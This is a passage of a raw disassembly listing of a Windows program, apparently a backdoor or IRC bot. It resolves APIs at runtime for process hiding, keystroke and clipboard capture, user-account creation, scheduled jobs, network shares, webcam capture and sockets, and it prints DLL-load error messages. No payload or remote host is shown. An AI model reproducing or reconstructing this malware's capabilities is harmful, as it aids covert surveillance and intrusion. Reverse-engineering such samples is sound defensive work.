eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov ds:dword_43A2E8, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov ds:dword_43A3D8, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov ds:dword_43A434, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov ds:dword_43A2A4, eax call esi cmp ds:dword_43A424, ebx mov ds:dword_43A28C, eax jz short loc_408AD4 cmp ds:dword_43A398, ebx jz short loc_408AD4 cmp ds:dword_43A37C, ebx jz short loc_408AD4 cmp ds:dword_43A298, ebx jz short loc_408AD4 cmp ds:dword_43A274, ebx jz short loc_408AD4 cmp ds:dword_43A2E8, ebx jz short loc_408AD4 cmp ds:dword_43A3D8, ebx jz short loc_408AD4 cmp ds:dword_43A434, ebx jz short loc_408AD4 cmp ds:dword_43A2A4, ebx jz short loc_408AD4 cmp eax, ebx jnz short loc_408ADE loc_408AD4: ; CODE XREF: sub_4089D6+B8j ; sub_4089D6+C0j ... mov ds:dword_43A438, 1 loc_408ADE: ; CODE XREF: sub_4089D6+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov ds:dword_43A3B0, eax jz short loc_408B0B push 1 push ebx call eax jmp short loc_408B0B ; --------------------------------------------------------------------------- loc_408AF6: ; CODE XREF: sub_4089D6+1Dj call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_43A43C, eax mov ds:dword_43A438, 1 loc_408B0B: ; CODE XREF: sub_4089D6+117j ; sub_4089D6+11Ej push offset aUser32_dll ; "user32.dll" call ds:dword_4210C0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_408C20 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov ds:dword_43A3D4, eax call esi push offset aIswindow ; "IsWindow" push edi mov ds:dword_43A384, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov ds:dword_43A318, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov ds:dword_43A428, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov ds:dword_43A348, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov ds:dword_43A368, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov ds:dword_43A3CC, eax call esi cmp ds:dword_43A3D4, ebx mov ds:dword_43A2C0, eax jz short loc_408BC4 cmp ds:dword_43A384, ebx jz short loc_408BC4 cmp ds:dword_43A318, ebx jz short loc_408BC4 cmp ds:dword_43A428, ebx jz short loc_408BC4 cmp ds:dword_43A348, ebx jz short loc_408BC4 cmp ds:dword_43A368, ebx jz short loc_408BC4 cmp ds:dword_43A3CC, ebx jz short loc_408BC4 cmp eax, ebx jnz short loc_408BCE loc_408BC4: ; CODE XREF: sub_4089D6+1B8j ; sub_4089D6+1C0j ... mov ds:dword_43A440, 1 loc_408BCE: ; CODE XREF: sub_4089D6+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov ds:dword_43A344, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov ds:dword_43A258, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov ds:dword_43A314, eax call esi cmp ds:dword_43A344, ebx mov ds:dword_43A300, eax jz short loc_408C2B cmp ds:dword_43A258, ebx jz short loc_408C2B cmp ds:dword_43A314, ebx jz short loc_408C2B cmp eax, ebx jnz short loc_408C35 jmp short loc_408C2B ; --------------------------------------------------------------------------- loc_408C20: ; CODE XREF: sub_4089D6+144j call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_43A444, eax loc_408C2B: ; CODE XREF: sub_4089D6+232j ; sub_4089D6+23Aj ... mov ds:dword_43A440, 1 loc_408C35: ; CODE XREF: sub_4089D6+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_408DD0 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov ds:dword_43A3E8, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov ds:dword_43A32C, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov ds:dword_43A39C, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov ds:dword_43A284, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov ds:dword_43A2E4, eax call esi cmp ds:dword_43A3E8, ebx mov ds:dword_43A354, eax jz short loc_408CC0 cmp ds:dword_43A32C, ebx jz short loc_408CC0 cmp ds:dword_43A39C, ebx jz short loc_408CC0 cmp ds:dword_43A284, ebx jz short loc_408CC0 cmp ds:dword_43A2E4, ebx jz short loc_408CC0 cmp eax, ebx jnz short loc_408CCA loc_408CC0: ; CODE XREF: sub_4089D6+2C4j ; sub_4089D6+2CCj ... mov ds:dword_43A448, 1 loc_408CCA: ; CODE XREF: sub_4089D6+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov ds:dword_43A35C, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov ds:dword_43A334, eax call esi cmp ds:dword_43A35C, ebx mov ds:dword_43A3E4, eax jz short loc_408D05 cmp ds:dword_43A334, ebx jz short loc_408D05 cmp eax, ebx jnz short loc_408D0F loc_408D05: ; CODE XREF: sub_4089D6+321j ; sub_4089D6+329j mov ds:dword_43A448, 1 loc_408D0F: ; CODE XREF: sub_4089D6+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov ds:dword_43A36C, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov ds:dword_43A260, eax call esi push offset aControlservice ; "ControlService" push edi mov ds:dword_43A268, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov ds:dword_43A2C8, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov ds:dword_43A2CC, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov ds:dword_43A27C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov ds:dword_43A338, eax call esi cmp ds:dword_43A36C, ebx mov ds:dword_43A26C, eax jz short loc_408DB3 cmp ds:dword_43A260, ebx jz short loc_408DB3 cmp ds:dword_43A268, ebx jz short loc_408DB3 cmp ds:dword_43A2C8, ebx jz short loc_408DB3 cmp ds:dword_43A2CC, ebx jz short loc_408DB3 cmp ds:dword_43A27C, ebx jz short loc_408DB3 cmp ds:dword_43A338, ebx jz short loc_408DB3 cmp eax, ebx jnz short loc_408DBD loc_408DB3: ; CODE XREF: sub_4089D6+3A7j ; sub_4089D6+3AFj ... mov ds:dword_43A448, 1 loc_408DBD: ; CODE XREF: sub_4089D6+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov ds:dword_43A264, eax jnz short loc_408DE5 jmp short loc_408DDB ; --------------------------------------------------------------------------- loc_408DD0: ; CODE XREF: sub_4089D6+26Aj call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_43A44C, eax loc_408DDB: ; CODE XREF: sub_4089D6+3F8j mov ds:dword_43A448, 1 loc_408DE5: ; CODE XREF: sub_4089D6+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_408EB1 push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov ds:dword_43A364, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov ds:dword_43A3BC, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov ds:dword_43A3C4, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov ds:dword_43A380, eax call esi push offset aSelectobject ; "SelectObject" push edi mov ds:dword_43A2A8, eax call esi push offset aBitblt ; "BitBlt" push edi mov ds:dword_43A254, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov ds:dword_43A3C0, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov ds:dword_43A240, eax call esi cmp ds:dword_43A364, ebx mov ds:dword_43A2DC, eax jz short loc_408EBC cmp ds:dword_43A3BC, ebx jz short loc_408EBC cmp ds:dword_43A3C4, ebx jz short loc_408EBC cmp ds:dword_43A380, ebx jz short loc_408EBC cmp ds:dword_43A2A8, ebx jz short loc_408EBC cmp ds:dword_43A254, ebx jz short loc_408EBC cmp ds:dword_43A3C0, ebx jz short loc_408EBC cmp ds:dword_43A240, ebx jz short loc_408EBC cmp eax, ebx jnz short loc_408EC6 jmp short loc_408EBC ; --------------------------------------------------------------------------- loc_408EB1: ; CODE XREF: sub_4089D6+41Aj call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_43A454, eax loc_408EBC: ; CODE XREF: sub_4089D6+49Bj ; sub_4089D6+4A3j ... mov ds:dword_43A450, 1 loc_408EC6: ; CODE XREF: sub_4089D6+4D7j mov ebp, ds:dword_4210C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409182 push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov ds:dword_43A2F0, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov ds:dword_43A41C, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov ds:dword_43A294, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov ds:dword_43A270, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov ds:dword_43A324, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov ds:dword_43A30C, eax call esi push offset aSocket ; "socket" push edi mov ds:dword_43A2D8, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov ds:dword_43A3F8, eax call esi push offset aConnect ; "connect" push edi mov ds:dword_43A414, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov ds:dword_43A320, eax call esi push offset aInet_addr ; "inet_addr" push edi mov ds:dword_43A404, eax call esi push offset aHtons ; "htons" push edi mov ds:dword_43A3B8, eax call esi push offset aHtonl ; "htonl" push edi mov ds:dword_43A378, eax call esi push offset aNtohs ; "ntohs" push edi mov ds:dword_43A374, eax call esi push offset aNtohl ; "ntohl" push edi mov ds:dword_43A2B4, eax call esi push offset aSend ; "send" push edi mov ds:dword_43A2AC, eax call esi push offset aSendto ; "sendto" push edi mov ds:dword_43A3C8, eax call esi push offset aRecv ; "recv" push edi mov ds:dword_43A3DC, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov ds:dword_43A390, eax call esi mov ds:dword_43A350, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov ds:dword_43A3A4, eax call esi push offset aListen ; "listen" push edi mov ds:dword_43A360, eax call esi push offset aAccept ; "accept" push edi mov ds:dword_43A3A0, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov ds:dword_43A40C, eax call esi push offset aGetsockname ; "getsockname" push edi mov ds:dword_43A358, eax call esi push offset aGethostname ; "gethostname" push edi mov ds:dword_43A31C, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov ds:dword_43A38C, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov ds:dword_43A3FC, eax call esi push offset aGetpeername ; "getpeername" push edi mov ds:dword_43A330, eax call esi push offset aClosesocket ; "closesocket" push edi mov ds:dword_43A2D4, eax call esi cmp ds:dword_43A2F0, ebx mov ds:dword_43A410, eax jz loc_40918D cmp ds:dword_43A41C, ebx jz loc_40918D cmp ds:dword_43A294, ebx jz loc_40918D cmp ds:dword_43A324, ebx jz loc_40918D cmp ds:dword_43A30C, ebx jz loc_40918D cmp ds:dword_43A2D8, ebx jz loc_40918D cmp ds:dword_43A3F8, ebx jz loc_40918D cmp ds:dword_43A414, ebx jz loc_40918D cmp ds:dword_43A320, ebx jz loc_40918D cmp ds:dword_43A404, ebx jz loc_40918D cmp ds:dword_43A3B8, ebx jz loc_40918D cmp ds:dword_43A378, ebx jz loc_40918D cmp ds:dword_43A374, ebx jz loc_40918D cmp ds:dword_43A2B4, ebx jz short loc_40918D cmp ds:dword_43A3C8, ebx jz short loc_40918D cmp ds:dword_43A3DC, ebx jz short loc_40918D cmp ds:dword_43A390, ebx jz short loc_40918D cmp ds:dword_43A350, ebx jz short loc_40918D cmp ds:dword_43A3A4, ebx jz short loc_40918D cmp ds:dword_43A360, ebx jz short loc_40918D cmp ds:dword_43A3A0, ebx jz short loc_40918D cmp ds:dword_43A40C, ebx jz short loc_40918D cmp ds:dword_43A358, ebx jz short loc_40918D cmp ds:dword_43A31C, ebx jz short loc_40918D cmp ds:dword_43A38C, ebx jz short loc_40918D cmp ds:dword_43A3FC, ebx jz short loc_40918D cmp ds:dword_43A330, ebx jz short loc_40918D cmp eax, ebx jnz short loc_409197 jmp short loc_40918D ; --------------------------------------------------------------------------- loc_409182: ; CODE XREF: sub_4089D6+501j call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_43A45C, eax loc_40918D: ; CODE XREF: sub_4089D6+6A0j ; sub_4089D6+6ACj ... mov ds:dword_43A458, 1 loc_409197: ; CODE XREF: sub_4089D6+7A8j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40929C push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov ds:dword_43A2BC, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov ds:dword_43A248, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov ds:dword_43A340, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov ds:dword_43A2F4, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov ds:dword_43A34C, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov ds:dword_43A310, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov ds:dword_43A288, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov ds:dword_43A280, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov ds:dword_43A290, eax call esi cmp ds:dword_43A2BC, ebx mov ecx, ds:dword_43A310 mov ds:dword_43A3AC, eax jz short loc_409278 cmp ds:dword_43A248, ebx jz short loc_409278 cmp ds:dword_43A340, ebx jz short loc_409278 cmp ds:dword_43A2F4, ebx jz short loc_409278 cmp ds:dword_43A34C, ebx jz short loc_409278 cmp ecx, ebx jz short loc_409278 cmp ds:dword_43A288, ebx jz short loc_409278 cmp ds:dword_43A280, ebx jz short loc_409278 cmp ds:dword_43A290, ebx jz short loc_409278 cmp eax, ebx jnz short loc_409282 loc_409278: ; CODE XREF: sub_4089D6+860j ; sub_4089D6+868j ... mov ds:dword_43A460, 1 loc_409282: ; CODE XREF: sub_4089D6+8A0j cmp ecx, ebx jz short loc_4092B7 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov ds:dword_43A328, eax jnz short loc_4092B7 jmp short loc_4092B1 ; --------------------------------------------------------------------------- loc_40929C: ; CODE XREF: sub_4089D6+7CCj call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_43A464, eax mov ds:dword_43A460, 1 loc_4092B1: ; CODE XREF: sub_4089D6+8C4j mov ds:dword_43A328, ebx loc_4092B7: ; CODE XREF: sub_4089D6+8AEj ; sub_4089D6+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409301 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov ds:dword_43A304, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov ds:dword_43A430, eax call esi cmp ds:dword_43A304, ebx mov ds:dword_43A29C, eax jz short loc_40930C cmp ds:dword_43A430, ebx jz short loc_40930C cmp eax, ebx jnz short loc_409316 jmp short loc_40930C ; --------------------------------------------------------------------------- loc_409301: ; CODE XREF: sub_4089D6+8ECj call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_43A46C, eax loc_40930C: ; CODE XREF: sub_4089D6+91Bj ; sub_4089D6+923j ... mov ds:dword_43A468, 1 loc_409316: ; CODE XREF: sub_4089D6+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40940C push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov ds:dword_43A278, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov ds:dword_43A250, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov ds:dword_43A2C4, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov ds:dword_43A2F8, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov ds:dword_43A408, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov ds:dword_43A2B0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov ds:dword_43A25C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov ds:dword_43A24C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov ds:dword_43A2E0, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov ds:dword_43A3D0, eax call esi cmp ds:dword_43A278, ebx mov ds:dword_43A388, eax jz short loc_409417 cmp ds:dword_43A250, ebx jz short loc_409417 cmp ds:dword_43A2C4, ebx jz short loc_409417 cmp ds:dword_43A2F8, ebx jz short loc_409417 cmp ds:dword_43A408, ebx jz short loc_409417 cmp ds:dword_43A2B0, ebx jz short loc_409417 cmp ds:dword_43A25C, ebx jz short loc_409417 cmp ds:dword_43A24C, ebx jz short loc_409417 cmp ds:dword_43A2E0, ebx jz short loc_409417 cmp ds:dword_43A3D0, ebx jz short loc_409417 cmp eax, ebx jnz short loc_409421 jmp short loc_409417 ; --------------------------------------------------------------------------- loc_40940C: ; CODE XREF: sub_4089D6+94Bj call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_43A474, eax loc_409417: ; CODE XREF: sub_4089D6+9E6j ; sub_4089D6+9EEj ... mov ds:dword_43A470, 1 loc_409421: ; CODE XREF: sub_4089D6+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409456 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov ds:dword_43A2A0, eax call esi cmp ds:dword_43A2A0, ebx mov ds:dword_43A370, eax jz short loc_409461 cmp eax, ebx jnz short loc_40946B jmp short loc_409461 ; --------------------------------------------------------------------------- loc_409456: ; CODE XREF: sub_4089D6+A56j call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_43A47C, eax loc_409461: ; CODE XREF: sub_4089D6+A78j ; sub_4089D6+A7Ej mov ds:dword_43A478, 1 loc_40946B: ; CODE XREF: sub_4089D6+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4094A0 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov ds:dword_43A3F4, eax call esi cmp ds:dword_43A3F4, ebx mov ds:dword_43A3F0, eax jz short loc_4094AB cmp eax, ebx jnz short loc_4094B5 jmp short loc_4094AB ; --------------------------------------------------------------------------- loc_4094A0: ; CODE XREF: sub_4089D6+AA0j call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_43A484, eax loc_4094AB: ; CODE XREF: sub_4089D6+AC2j ; sub_4089D6+AC8j mov ds:dword_43A480, 1 loc_4094B5: ; CODE XREF: sub_4089D6+AC6j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409514 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov ds:dword_43A420, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov ds:dword_43A418, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov ds:dword_43A3E0, eax call esi cmp ds:dword_43A420, ebx mov ds:dword_43A2B8, eax jz short loc_40951F cmp ds:dword_43A418, ebx jz short loc_40951F cmp ds:dword_43A3E0, ebx jz short loc_40951F cmp eax, ebx jnz short loc_409529 jmp short loc_40951F ; --------------------------------------------------------------------------- loc_409514: ; CODE XREF: sub_4089D6+AEAj call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_43A48C, eax loc_40951F: ; CODE XREF: sub_4089D6+B26j ; sub_4089D6+B2Ej ... mov ds:dword_43A488, 1 loc_409529: ; CODE XREF: sub_4089D6+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40955E push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov ds:dword_43A2EC, eax call esi cmp ds:dword_43A2EC, ebx mov ds:dword_43A3EC, eax jz short loc_409569 cmp eax, ebx jnz short loc_409573 jmp short loc_409569 ; --------------------------------------------------------------------------- loc_40955E: ; CODE XREF: sub_4089D6+B5Ej call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_43A494, eax loc_409569: ; CODE XREF: sub_4089D6+B80j ; sub_4089D6+B86j mov ds:dword_43A490, 1 loc_409573: ; CODE XREF: sub_4089D6+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4095FC push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov ds:dword_43A3B4, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov ds:dword_43A400, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov ds:dword_43A33C, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov ds:dword_43A2FC, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov ds:dword_43A394, eax call esi cmp ds:dword_43A3B4, ebx mov ds:dword_43A308, eax jz short loc_409607 cmp ds:dword_43A400, ebx jz short loc_409607 cmp ds:dword_43A33C, ebx jz short loc_409607 cmp ds:dword_43A2FC, ebx jz short loc_409607 cmp ds:dword_43A394, ebx jz short loc_409607 cmp eax, ebx jnz short loc_409611 jmp short loc_409607 ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_4089D6+BA8j call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_43A49C, eax loc_409607: ; CODE XREF: sub_4089D6+BFEj ; sub_4089D6+C06j ... mov ds:dword_43A498, 1 loc_409611: ; CODE XREF: sub_4089D6+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_409646 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov ds:dword_43A2D0, eax call esi cmp ds:dword_43A2D0, ebx mov ds:dword_43A3A8, eax jz short loc_409651 cmp eax, ebx jnz short loc_40965B jmp short loc_409651 ; --------------------------------------------------------------------------- loc_409646: ; CODE XREF: sub_4089D6+C46j call ds:dword_421088 ; RtlGetLastWin32Error mov ds:dword_43A4A4, eax loc_409651: ; CODE XREF: sub_4089D6+C68j ; sub_4089D6+C6Ej mov ds:dword_43A4A0, 1 loc_40965B: ; CODE XREF: sub_4089D6+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_4089D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409663 proc near ; CODE XREF: seg000:00412034p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp ds:dword_43A438, esi push edi mov edi, [ebp+arg_8] jz short loc_4096AB push ds:dword_43A43C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_4154CD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 20h loc_4096AB: ; CODE XREF: sub_409663+1Aj cmp ds:dword_43A440, esi jz short loc_4096DF push ds:dword_43A444 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_4154CD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 20h loc_4096DF: ; CODE XREF: sub_409663+4Ej cmp ds:dword_43A448, esi jz short loc_409713 push ds:dword_43A44C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_4154CD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 20h loc_409713: ; CODE XREF: sub_409663+82j cmp ds:dword_43A450, esi jz short loc_409747 push ds:dword_43A454 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_4154CD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 20h loc_409747: ; CODE XREF: sub_409663+B6j cmp ds:dword_43A458, esi jz short loc_40977B push ds:dword_43A45C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_4154CD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 20h loc_40977B: ; CODE XREF: sub_409663+EAj cmp ds:dword_43A460, esi jz short loc_4097AF push ds:dword_43A464 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_4154CD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 20h loc_4097AF: ; CODE XREF: sub_409663+11Ej cmp ds:dword_43A468, esi jz short loc_4097E3 push ds:dword_43A46C lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_4154CD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 20h loc_4097E3: ; CODE XREF: sub_409663+152j cmp ds:dword_43A470, esi jz short loc_409817 push ds:dword_43A474 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_4154CD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 20h loc_409817: ; CODE XREF: sub_409663+186j cmp ds:dword_43A478, esi jz short loc_40984B push ds:dword_43A47C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_4154CD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 20h loc_40984B: ; CODE XREF: sub_409663+1BAj cmp ds:dword_43A480, esi jz short loc_40987F push ds:dword_43A484 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_4154CD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 20h loc_40987F: ; CODE XREF: sub_409663+1EEj cmp ds:dword_43A488, esi jz short loc_4098B3 push ds:dword_43A48C lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_4154CD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 20h loc_4098B3: ; CODE XREF: sub_409663+222j cmp ds:dword_43A490, esi jz short loc_4098E7 push ds:dword_43A494 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_4154CD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 20h loc_4098E7: ; CODE XREF: sub_409663+256j cmp ds:dword_43A498, esi jz short loc_40991B push ds:dword_43A49C lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_4154CD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 20h loc_40991B: ; CODE XREF: sub_409663+28Aj cmp ds:dword_43A4A0, esi jz short loc_40994F push ds:dword_43A4A4 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_4154CD push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 20h loc_40994F: ; CODE XREF: sub_409663+2BEj lea eax, [ebp+var_200] push offset dword_4299D4 push eax call sub_4154CD cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40997C push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_412D32 add esp, 14h loc_40997C: ; CODE XREF: sub_409663+302j lea eax, [ebp+var_200] push eax call sub_40B151 pop ecx pop edi pop esi pop ebx leave retn sub_409663 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40998E proc near ; CODE XREF: seg000:0040DA89p ; seg000:0040DABDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword 